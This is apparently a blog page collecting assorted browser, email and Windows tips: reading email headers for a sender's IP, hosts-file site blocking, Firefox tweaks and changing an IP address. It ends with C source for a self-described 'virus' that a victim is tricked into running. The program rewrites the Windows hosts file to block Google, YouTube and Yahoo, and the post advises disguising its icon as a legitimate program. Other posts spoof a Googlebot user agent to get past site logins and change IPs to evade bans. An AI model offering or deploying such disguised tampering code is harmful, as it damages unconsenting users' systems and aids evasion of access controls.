Showing posts with label Internet. Show all posts
Showing posts with label Internet. Show all posts

Finding IP Address Of the Sender In Hotmail, Yahoo, Gmail

When you receive an email, you receive more than just the message. The email comes with headers that carry important information that can tell where the email was sent from and possibly who sent it. For that, you would need to find the IP address of the sender. The tutorial below can help you find the IP address of the sender.

Finding IP Address Of the Sender In Hotmail
# Log into your Hotmail account with your username and password.
# Click on the Mail tab on the top.
# Open the mail.
# If you do not see the headers above the mail message, your headers are not displayed . To display the headers,

* Click on Options on the top-right corner
* In the Mail Options page, click on Mail Display Settings
* In Message Headers, make sure Advanced option is checked.
* Click on Ok button
* Go back to the mails and open that mail.

# If you find a header with X-Originating-IP: followed by an IP address, that is the sender's IP address

* Hotmail headers : dbilla ,In this case the IP address of the sender is [68.34.60.59]. This is be the IP address of the sender.

# If you find a header with Received: from followed by a Gmail proxy like this

* Hotmail headers : dbilla
* Look for Received: from followed by IP address within square brackets[]. In this case, the IP address of the sender is [69.140.7.58].

# Or else if you have headers like this

* Hotmail headers : dbilla
* Look for Received: from followed by IP address within square brackets[].
In this case, the IP address of the sender is [61.83.145.129] .

# If you have multiple Received: from headers, eliminate the ones that have proxy.anyknownserver.com.


Finding IP Address of the sender in Yahoo Mail
# Log into your Yahoo! mail with your username and password.
# Click on Inbox or whichever folder you have stored your mail.
# Open the mail.
# If you do not see the headers above the mail message, your headers are not displayed . To display the headers,

* Click on Options on the top-right corner
* In the Mail Options page, click on General Preferences
* Scroll down to Messages where you have the Headers option
* Make sure that Show all headers on incoming messages is selected
* Click on the Save button
* Go back to the mails and open that mail.

# You should see similar headers like this:

* Yahoo! headers : dbilla

# Look for Received: from followed by the IP address between square brackets [ ]. Here, it is 202.65.138.109.
# That is be the IP address of the sender!

Finding IP Address of the sender in Gmail
* Log into your Gmail account with your username and password.
* Open the mail.
* To display the headers,
o Click on More options corresponding to that thread. You should get a bunch of links. Click on Show original
* You should get headers like this:
o Gmail headers : dbilla
* Look for Received: from followed by a few hostnames and an IP address between square brackets. In this case, it is 65.119.112.245.
* That is be the IP address of the sender!!

Share internet between pc and main PC get internet from Mobile

To use Internet Connection Sharing to share your Internet connection, the host computer must have one network adapter that is configured to connect to the internal network, and one network adapter or modem that is configured to connect to the Internet.
On the host computer
On the host computer, follow these steps to share the Internet connection:
1. Log on to the host computer as Administrator or as Owner.
2. Click Start, and then click Control Panel.
3. Click Network and Internet Connections.
4. Click Network Connections.
5. Right-click the connection that you use to connect to the Internet. For example, if you connect to the Internet by using a modem, right-click the connection that you want under Dial-up.
6. Click Properties.
7. Click the Advanced tab.
8. Under Internet Connection Sharing, select the Allow other network users to connect through this computer's Internet connection check box.
9. If you are sharing a dial-up Internet connection, select the Establish a dial-up connection whenever a computer on my network attempts to access the Internet check box if you want to permit your computer to automatically connect to the Internet.
10. Click OK. You receive the following message:
When Internet Connection Sharing is enabled, your LAN adapter will be set to use IP
address 192.168.0.1. Your computer may lose connectivity with other computers on your network. If these other computers have static IP addresses, it is a good idea to set them to obtain their IP addresses automatically. Are you sure you want to enable Internet Connection Sharing?
11. Click Yes.
The connection to the Internet is shared to other computers on the local area network (LAN). The network adapter that is connected to the LAN is configured with a static IP address of 192.168.0.1 and a subnet mask of 255.255.255.0

On the client computer
To connect to the Internet by using the shared connection, you must confirm the LAN adapter IP configuration, and then configure the client computer. To confirm the LAN adapter IP configuration, follow these steps:
1. Log on to the client computer as Administrator or as Owner.
2. Click Start, and then click Control Panel.
3. Click Network and Internet Connections.
4. Click Network Connections.
5. Right-click Local Area Connection, and then click Properties.
6. Click the General tab, click Internet Protocol (TCP/IP) in the This connection uses the following items list, and then click Properties.
7. In the Internet Protocol (TCP/IP) Properties dialog box, click Obtain an IP address automatically (if it is not already selected), and then click OK.

Note You can also assign a unique static IP address in the range of 192.168.0.2 to 192.168.0.254. For example, you can assign the following static IP address, subnet mask, and default gateway:
IP Address 192.168.0.2
Subnet mask 255.255.255.0
Default gateway 192.168.0.1
8. In the Local Area Connection Properties dialog box, click OK.
9. Quit Control Panel.
If client machine having windows 98 and then stop here..
If client machine having windows xp then
10. Enter DNS server address (u can find it in main gateway PC using run>cmd>ipconfig /all )
11. DNS server name you have to enter in TCP/IP setting..

3 ways to block sites on your computer!

We all know that porn and other "interesting" websites are highly dangerous. Do you want to know how to block these kinds of websites? There are 3 tips you should know!
Incompletely porn filtering methods:

1. Modify the windows hosts file
Locate your HOSTS file. The hosts file is located in different places depending on your Windows version.
For XP/VISTA it is located in the C:\WINDOWS\SYSTEM32\DRIVERS\ETC directory.
For 2000 it is located in the C:\WINNT\SYSTEM32\DRIVERS\ETC or C:\WINDOWS\SYSTEM32\DRIVERS\ETC folder, depending on the nature of your Windows install
To view the contents of this file, browse to the location of the file and double click on it. You will be asked whether you want to search the internet for a program to open the file or if you wish to choose from a list.
Choose the list option and open the file with Notepad. You can now view all of the websites that are being blocked.
To manually block a site, go to the bottom of the file and on a new line type “127.0.0.1 siteyouwanttoblock.com” without using quotes. This will block siteyouwanttoblock.com. Repeat the process for any other sites you wish to block, and then save the file by going to File>Save.

2. Use OpenDNS
If you want to filter what can and can NOT be seen on the Internet, you can use OpenDNS. Schools and government office use it… and its free.
Warning: With above two porn filtering methods, you can still visit websites you blocked with a web proxy. To completely block websites, you may need a professional Porn Filter.
Completely Porn filtering method:

3. Use a professional Porn filter.
The best method is to use Porn Filter, for example, Aobo Porn Fiter to block unwanted websites and filter porn websites on your computer.
Porn Filter works with all popular web browsers. It can:
Filter porn web sites automatically
Running in stealth and undetectable mode
Blocks all porn web sites before they loaded to web browsers
Password protected, so that no one can bypass the blocker
To get a website unblocked by Aobo Porn Filter. You can easily add it to the Porn Filter White List.
Mac OS X Porn filtering method:
There are also Porn filtering for Mac OS X you can use parental control software from parental control software
Or OpenDNS from http://www.opendns.com
Final Review:
If you only want to block one or two websites, and there is no need to worry about someone bypassing the blocker with a web proxy. You can just modify the hosts file of your Windows.
If you want to block most of porn web sites, and there is no need to worry about someone bypassing the blocker with a web proxy. You can use opendns from OpenDNS
If you need to filter all porn web sites, and worry about someone may modify your settings or bypass the blocker with a web proxy. Then you need a professional Porn filter

Multiple Logins of Gmail and Orkut through firefox

Just follow the following steps and you will be able to login in gmail and orkut with multiple accounts. Through this you will be able to make profiles in your firefox.

Step 1:
Open system properties(by right clicking my computer), choose tab advanced, click to environment variables button. in system variables section, click new. type this information to each textbox.

Step 2:
variable name: moz_no_remote (should be all small letter).

variable value: 1

Step 3:
open firefox icon's properties(from desktop and quick launch). add extension -p to command line(like "c:\program files\mozilla firefox\firefox.exe" -p). press ok.
When you will open firefox it will prompt for profile selection create a profile,open firefox login to orkut open once more use another profile login

Find who is Invisible on Yahoo Messenger

Sometimes some of your friends who appear offline in Yahoo Messenger may not be actually offline, they may in the 'Invisible' mode. This maybe if they are trying to ignore you or are too busy to talk to anyone.

There is a small trick that you can use to find out what the truth is

Firstly open your Yahoo Messenger main window and double click on the name of the person whom you want to check. The chat window will open obviously.

Click IMVironment button, select See all IMVironments, select Yahoo! Tools or Interactive Fun, and click on Doodle.

After loading the Doodle Imvironment there can be two possibilities :-

## 1. If the user is offline Doodle are will show this "waiting for your friend to load Doodle" continuously.

## 2. If the user is online (but in invisible mode), after few seconds (it can take up to one minute, depending on your connection speed), you should get a blank page. So you know that the user is online.

URL Shortening via Gmail

There are some URL shortening services such as TinyUrl and Bit

ALso there is a way to shorten your URL through Gmail from char Option...

Go to Your Gmail Account

Add
Quote:
urlataskme.im

replace at by @ to your gmail Contacts..

Just type the URL you need to shorten in chat section...

It gets Shortened automatically

Hacks To Make Firefox Ridiculously Fast

Firefox has been outperforming IE in every department for years, and version 3 is speedier than ever.

But tweak the right settings and you could make it faster still, more than doubling your speed in some situations, all for about five minutes work and for the cost of precisely nothing at all. Here's what you need to do.

Enable pipelining
Browsers are normally very polite, sending a request to a server then waiting for a response before continuing. Pipelining is a more aggressive technique that lets them send multiple requests before any responses are received, often reducing page download times. To enable it, type about:config in the address bar, double-click network.http.pipelining and network.http.proxy.pipelining so their values are set to true, then double-click network.http.pipelining.maxrequests and set this to 8.

Keep in mind that some servers don't support pipelining, though, and if you regularly visit a lot of these then the tweak can actually reduce performance. Set network.http.pipelining and network.http.proxy.pipelining to false again if you have any problems.



2. Render quickly
Large, complex web pages can take a while to download. Firefox doesn't want to keep you waiting, so by default will display what it's received so far every 0.12 seconds (the "content notify interval"). While this helps the browser feel snappy, frequent redraws increase the total page load time, so a longer content notify interval will improve performance.

Type about:config and press [Enter], then right-click (Apple users ctrl-click) somewhere in the window and select New > Integer. Type content.notify.interval as your preference name, click OK, enter 500000 (that's five hundred thousand, not fifty thousand) and click OK again.

Right-click again in the window and select New > Boolean. This time create a value called content.notify.ontimer and set it to True to finish the job.


3. Faster loading
If you haven't moved your mouse or touched the keyboard for 0.75 seconds (the content switch threshold) then Firefox enters a low frequency interrupt mode, which means its interface becomes less responsive but your page loads more quickly. Reducing the content switch threshold can improve performance, then, and it only takes a moment.

Type about:config and press [Enter], right-click in the window and select New > Integer. Type content.switch.threshold, click OK, enter 250000 (a quarter of a second) and click OK to finish.


4. No interruptions
You can take the last step even further by telling Firefox to ignore user interface events altogether until the current page has been downloaded. This is a little drastic as Firefox could remain unresponsive for quite some time, but try this and see how it works for you.

Type about:config, press [Enter], right-click in the window and select New > Boolean. Type content.interrupt.parsing, click OK, set the value to False and click OK.


5. Block Flash
Intrusive Flash animations are everywhere, popping up over the content you actually want to read and slowing down your browsing. Fortunately there's a very easy solution. Install the Flashblock extension (flashblock.mozdev.org) and it'll block all Flash applets from loading, so web pages will display much more quickly. And if you discover some Flash content that isn't entirely useless, just click its placeholder to download and view the applet as normal.



6. Increase the cache size
As you browse the web so Firefox stores site images and scripts in a local memory cache, where they can be speedily retrieved if you revisit the same page. If you have plenty of RAM (2 GB of more), leave Firefox running all the time and regularly return to pages then you can improve performance by increasing this cache size. Type about:config and press [Enter], then right-click anywhere in the window and select New > Integer. Type browser.cache.memory.capacity, click OK, enter 65536 and click OK, then restart your browser to get the new, larger cache.



7. Enable TraceMonkey
TraceMonkey is a new Firefox feature that converts slow Javascript into super-speedy x86 code, and so lets it run some functions anything up to 20 times faster than the current version. It's still buggy so isn't available in the regular Firefox download yet, but if you're willing to risk the odd crash or two then there's an easy way to try it out.
Install the latest nightly build (

Quote:
ftp://ftp.mozilla.org/pub/firefox/nightly/latest-trunk/


), launch it, type about:config in the address bar and press Enter. Type JIT in the filter box, then double-click javascript.options.jit.chrome and javascript.options.jit.content to change their values to true, and that's it - you're running the fastest Firefox Javascript engine ever.


8. Compress data
If you've a slow internet connection then it may feel like you'll never get Firefox to perform properly, but that's not necessarily true. Install toonel.net (toonel.net) and this clever Java applet will re-route your web traffic through its own server, compressing it at the same time, so there's much less to download. And it can even compress JPEGs by allowing you to reduce their quality. This all helps to cut your data transfer, useful if you're on a limited 1 GB-per-month account, and can at best double your browsing performance

How to change IPs

This is a tutorial about changing IP addresses. You can change your IP address for various reasons

1.) because you got banned in a game from some server.

2.) you got banned from some crappy forums and want to get a nub back

3.) if you are downloading from somewhere like Rapidshare, you might not have patience to wait for 3 hours to download another file again, if you change your ip, you can download another file instantly having to still wait for your "ticket" tho.



Ok there are many ways of changing your IP

First is to go to the Start Menu and goto the RUN command.

after that type this:

blah blah blah>ipconfig

now see what your ip address is right NOW.


now you need to:
blah blah blah> ipconfig [SPACE ONCE] /release
(Note:this releases the IP address you are using now, and your internet wont work till u renew another IP address or the same one)



then like after 10-20 seconds do:
blah blah blah>ipconfig [SPACE ONCE] /renew
this gives you an iP address,either another one, or the same one you had before


that is one way of changing your IP Wink, note that it won't work all the time.


Now if you don't like all that technical stuff, then here is an easier way.


If you have a ROUTER, this is gonna be ownage.

Unplug your router power, and after that your DSL pwoer cable, wait for 10 seconds until your internet icon at the taskbar has an X with it.

now plug back your router in, then after 1 second of plugging your router in, plug that dsl of yours in.

When you are connected to the internet, try getting a file from rapidshare, and see if you can download.

If u can download, then congratulations, you have just changed your IP address


(Note again: sooner or later, you will run out of IP addresses to change,but that will take a long time for it to happen)

Enabling right click on sites that disable it !

This is a tip on how to Enable right click function on sites that disable it.

Lots of web sites have disabled the right click function of the mouse button... it's really, really annoying. This is done so that you don't steal (via right-click->save picture) their photos or images or any other goodies. Unfortunately, it disables ALL right-click functionality: copy, paste, open in new window.

The solution is simple, just get used to right clicking and hitting the Esc "Escape" Key "NOT at the same time but very close to it" right click first then Esc. Until you are allowed access to the context menu to copy/save the file/photo.... Sometimes it takes a couple of tries but with practice comes perfection.

Hack IE Title Bar

This can be an impressive bit of personalization. Use your name or moniker to brand Internet Explorer. Go to
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\ and left-click on Main to change the string "Window Title" to whatever you wish.

Open Multiple instances of Yahoo Messenger

Today while browsing, I found a hack about the most popular instant messenger - Yahoo Messenger. This Simple Hack allows you to Run multiple instances (more then one) of Yahoo Messenger simultaneously on one PC.

YAHOO MESSENGER

* Go to Start >> Run >>
* Type regedit >> press Enter
* Go to HKEY_CURRENT_USER >> Software >> Yahoo >> pager >> Test
* Then Right click on test >> choose New >> Dword value .
* Rename it as ‘Plural’.
* Double click it >> assign a decimal value of 1.
* Close the registry and Restart yahoo messenger.

Hey Its All Done!! Now you can open ‘N’ instances of yahoo messenger and login into each from different yahoo ID.

Shortcuts for Mozilla Firefox

CTRL + A Select all text on a webpage
CTRL + B Open the Bookmarks sidebar
CTRL + C Copy the selected text to the Windows clipboard
CTRL + D Bookmark the current webpage
CTRL + F Find text within the current webpage
CTRL + G Find more text within the same webpage
CTRL + H Opens the webpage History sidebar
CTRL + I Open the Bookmarks sidebar
CTRL + J Opens the Download Dialogue Box
CTRL + K Places the cursor in the Web Search box ready to type your search
CTRL + L Places the cursor into the URL box ready to type a website address
CTRL + M Opens your mail program (if you have one) to create a new email message
CTRL + N Opens a new Firefox window
CTRL + O Open a local file
CTRL + P Print the current webpage
CTRL + R Reloads the current webpage
CTRL + S Save the current webpage on your PC
CTRL + T Opens a new Firefox Tab
CTRL + U View the page source of the current webpage
CTRL + V Paste the contents of the Windows clipboard
CTRL + W Closes the current Firefox Tab or Window (if more than one tab is open)
CTRL + X Cut the selected text
CTRL + Z Undo the last action

Windows Keyboard Shortcuts for Mozilla Firefox
F1 Opens Firefox help
F3 Find more text within the same webpage
F5 Reload the current webpage
F6 Toggles the cursor between the address/URL input box and the current webpage
F7 Toggles Caret Browsing on and off. Used to be able to select text on a webpage with the keyboard
F11 Switch to Full Screen mode

Skip registering on sites

So sometimes u r to lazy to login or u forget password and u quick need some information.

So good way is faking UA <- User Agent

I will show u example of firefox

Type in URL bar following:

about :config

then u should see alot of options which can be changed

1cm down u will see "Filter:"

Type in box

"useranget" without quotes

We need to change just

general.useragent.extra.firefox

Deafult is Firefox x.x.x or something like that^^

So how to bypass login on that websites(also on h4cky0u)?

just double click & type in that field

Code: Select all
Googlebot/2.X (
Quote:
http://www.googlebot.com/bot.html

)

Cool Hidden trick in Utorrent

This is a Good trick...

open utorrent--->help-->about utorrent.

when it shows a version screen, hit the 't' button

Now u'll see a tetris game. U can play there itself.

Just Hit The "t" on Ur KeyBoard and U Shud Be Able To

Play The Hidden TETRIS Game

How to Delete Specific URLs from your Browser (Firefox & IE)

Sometimes a situation comes that we have to delete certain specific website address (url) only from the web-browser location or address bar say to preserve your identity. For example, you visited a certain website and don’t want your friends or others to know that you visited that site, then you have two methods to delete the website links either delete all the urls from the address bar or only the specific one (recommended).


## In Firefox, you just need to move your mouse over the website entry and press Shift + Delete Key combination to delete the desired address from the history.

## For Internet Explorer, follow the steps exactly as described bellow; do keep in mind this trick needs editing the registry and you need to be very careful with it:

• Close any open Internet Explorer window

• Go to Start->Run and type in regedit.exe and press enter to launch the registry editor

• Navigate to the following key:
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs

• Delete the desired URL

how to block unwanted sites using notepad

There are hundreds if not thousands of software programs that are available to block unwanted sites on your PC. some straightforward commands and a text editing program like notepad ( on every windows PC since windows3.1) and you not simply stop someone one(kids, husbands, brother in-laws) from visiting sites that might put computer at risk, or expose them to thing you don’t want them to know about.

1. Know the list of sites you want to block make sure your computer has an internet connection.

2. Standard look of DOS Window Open a command window (DOS), and type in nslookup

3. Jot down this IP address for future reference type in the name of the site you want to send them to when they visit one of the sites you don’t want them to go to. Ie. Quote:
www.google.com


etc…

4. Found on XP Find the “HOSTS” file on your PC. HINT: on Windows(Pre XP ) it will be located under C:\WINNT\System32\Drivers\etc On WindowXP machines it will be located under C:\WINDOWS\System32\Drivers\etc

5. Double Click on the file named “HOSTS”, there is no extension for this file.

6. Select NOTEPAD to open and edit this file with Your PC should ask what program you want to open this file with. Select “Browse” and the select Notepad as the program you want to use.
7. Basic HOST file setup there is some basic instructions on how to enter things in here. 127.0.0.1 is the universal IP address for the “loop back address” on every windows PC in the world. By using this entry, any request to a certain address will send the request back to your PC.

8. Don’t just block them, send them somewhere useful Start by entering the IP address you jotted down earlier. Followed by the name of the site you want to block

9. One drawback to this is that you will need to enter the domain name twice Once as the domain name, and once with WWW in it.

10. Save the file.

11. Open browser and try to visit the site, you should be redirected back to where you wanted them to go. if you use 127.0.0.1 and are not running a web server on your computer then your browser should return the standard ( 404 page not found error )

Finding IP address of sender in Yahoo, Gmail, Hotmail

# Log into your Hotmail account with your username and password.
# Click on the Mail tab on the top.
# Open the mail.
# If you do not see the headers above the mail message, your headers are not displayed . To display the headers,

* Click on Options on the top-right corner
* In the Mail Options page, click on Mail Display Settings
* In Message Headers, make sure Advanced option is checked.
* Click on Ok button
* Go back to the mails and open that mail.

# If you find a header with X-Originating-IP: followed by an IP address, that is the sender's IP address

* Hotmail headers : Daniel ,In this case the IP address of the sender is [68.34.60.59]. This is be the IP address of the sender.

# If you find a header with Received: from followed by a Gmail proxy like this

* Hotmail headers : Daniel
* Look for Received: from followed by IP address within square brackets[]. In this case, the IP address of the sender is [69.140.7.58].

# Or else if you have headers like this

* Hotmail headers : Daniel
* Look for Received: from followed by IP address within square brackets[].
In this case, the IP address of the sender is [61.83.145.129] .

# If you have multiple Received: from headers, eliminate the ones that have proxy.anyknownserver.com.


Finding IP Address of the sender in Yahoo Mail!!

# Log into your Yahoo! mail with your username and password.
# Click on Inbox or whichever folder you have stored your mail.
# Open the mail.
# If you do not see the headers above the mail message, your headers are not displayed . To display the headers,

* Click on Options on the top-right corner
* In the Mail Options page, click on General Preferences
* Scroll down to Messages where you have the Headers option
* Make sure that Show all headers on incoming messages is selected
* Click on the Save button
* Go back to the mails and open that mail.

# You should see similar headers like this:

* Yahoo! headers : Daniel.

# Look for Received: from followed by the IP address between square brackets [ ]. Here, it is 202.65.138.109.
# That is be the IP address of the sender!

Finding IP Address of the sender in Gmail !!

When you receive an email, you receive more than just the message. The email comes with headers that carry important information that can tell where the email was sent from and possibly who sent it. For that, you would need to find the IP address of the sender. The tutorial below can help you find the IP address of the sender.

* Log into your Gmail account with your username and password.
* Open the mail.
* To display the headers,
o Click on More options corresponding to that thread. You should get a bunch of links. Click on Show original
* You should get headers like this:
o Gmail headers : Daniel
* Look for Received: from followed by a few hostnames and an IP address between square brackets. In this case, it is 65.119.112.245.
* That is be the IP address of the sender!!

NOTE:=
This will not work if the sender uses anonymous proxy servers

Make firefox 10x faster, 100% working

Here's how tu speed up youre firefox 10x faster

1. Type "about:config" into the address bar and hit enter. Scroll down and look for the following entries:

2. Alter the entries as follows:

Set "network.http.pipelining" to "true"
Set "network.http.proxy.pipelining" to "true"

set "network.http.pipelining.maxrequests" to some number like 30. This means it will make 30 requests at once.

3. Lastly right-click anywhere and select New-> Integer. Name it "nglayout.initialpaint.delay" and set its value to "0". This value is the amount of time the browser waits before it acts on information it recieves.

try this and you can see the difference

Set Multiple Home Pages In Firefox

Did you people ever wish to set-up multiple home pages in Firefox ?

Here’s the way to do this little but useful little trick.

Suppose you would like to set Orkut, Google and Yahoo as your homepages. Then try this tweak in Firefox to set multiple homepages. This is what you should do :


• Goto Tools>Options>Main

• In the When Firefox starts drop down menu choose Show my home page

• In Home page give your homepages separated by a | (pipe symbol)

Example:-

Quote:
http://www.google.com|http://www.orkut.com|http://www.yahoo.com

• Click OK

Now next time when you start Firefox all of your three home pages will be displayed simultaneously.

how to block websites using c code

Most of us are familiar with the virus that used to block Orkut and Youtube site. creating such a on . I will give a brief introduction about this code before I jump into the technical jargon.

This code has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the code. This program need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?
Here is the sourcecode

Quote:
#include
#include
#include

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

compile the program using turboc and launch the .exe file generated
Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.
Code:

Quote:
%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

Code:

Quote:
127.0.0.1—————————google.com

5. Delete all such entries which contain the names of blocked sites.

NOTE: You can also change the ICON of the program to make it look like a legitimate program